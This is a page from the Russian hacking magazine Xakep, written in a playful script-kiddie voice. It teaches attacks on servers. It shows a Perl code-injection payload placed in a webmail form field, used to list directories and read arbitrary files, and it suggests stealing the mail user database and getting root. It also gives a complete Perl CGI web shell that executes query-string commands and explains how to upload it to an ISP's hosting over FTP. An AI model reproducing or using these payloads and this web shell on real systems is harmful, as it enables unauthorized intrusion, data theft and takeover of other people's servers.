Scriptkiddie с молочными, но острыми зубами

Xakep, номер #027, стр. 027-048-2


Например (ТЕГИ скрипта, вводимые ПАРАМЕТРЫ):

$Color1="вставка из заполненной формы-1";

$Color2="вставка из заполненной формы-2";

$LettersPerPage="вставка из заполненной формы-3";

Если кто-то еще не понял этого глюка, объясняю подробнее: в сохраняемом скрипте всё выглядит так:

а) код программы: $Color1="

б) вставленное мною значение: #ffffff"; $a="

в) опять-таки код программы: ";

Получаем: $Color1="#ffffff"; $a=""; - и никаких ошибок. Теперь между #ffffff"; и $a=" можно добавить любой Perl'овский код. Круто! Можно заливать Perl-вставки в дополнение к цвету (или любому другому полю), которые будут выполняться на сервере, что нам, собственно, и надобно.

ШАГ 1

Чтобы вести простую навигацию по серверу, можно вставить такой код:

#ffffff"; opendir(DIR,"/"); @dirs=sort(readdir(DIR)); closedir(DIR); print join("<br>",@dirs); $a="

Вместо "/" вписываем нужные нам директории и лазаем по серваку!!!

ШАГ 2

Нужно прочитать файл? Без проблем:

#ffffff"; open(Op,"/путь/к/файлу/имя.файла"); while(<Op>) { print $_,"<br>"; } close(Op); $a="

Какой файл прочитать или куда на серваке слазать? Да куда угодно, где может быть интересующая инфа. Если нужно, ты можешь хапнуть всю базу данных по юзверам почтовика из var/w3mail/hire.net/. А можно вообще получить права рута, если почтовик был запущен с соответствующего полномочия. В общем, налицо огромное поле для экспериментов :).

Ломаем провайдера! От Forb

Все провайдеры делятся на тех, кто с охотой и без злого умысла предоставляет тебе unix-shell account`ы, и тех, кто их не даёт ни за какие деньги (мне не повезло - попался именно такой пров).

Но даже в этом случае не надо отчаиваться. Предположим, провайдер тебе предоставил 10 мегабайт под твою личную домашнюю страничку и Ftp-аккаунт. Это тебе и нужно.

Пишем perl-скрипт для управления серваком провайдера (подразумевается, что в качестве www-сервера у прова установлен Apache&perl: наиболее популярный вариант). Не бойся, написать script очень просто. Открывай блокнот aka notepad.exe :) и набивай туда текст:

#!/usr/bin/perl

print "Content-type: text/html\n\n";

$cmd=$ENV{QUERY_STRING};

# Присваиваем переменной "cmd" аргументы скрипта.

@tmp=split(/%20/,$cmd);

# Заводим массив "tmp" в котором хранятся разбитые по пробелам строки из переменной "cmd".$cmd=join(" ",@tmp);

# Обновляем переменную "cmd", заменяя все закодированные браузером пробелы (%20) на обычные.

@output=`$cmd`;

# Выполняем команду "cmd" на сервере и записываем её результат в массив "output".

print "<html>

</pre>\n";

foreach (@output) {

print "$_";

# Выводим результат на экран.}

print "</pre></html>";

Сохрани это чудо под именем "test.pl" и залей его на сервер в ascii-режиме (иначе ничего работать не будет). Чтобы перейти к ascii-режиму, отправляй команду Ftp-серверу: "TYPE A".

Назад на стр. 027-048-1  Содержание  Вперед на стр. 027-048-3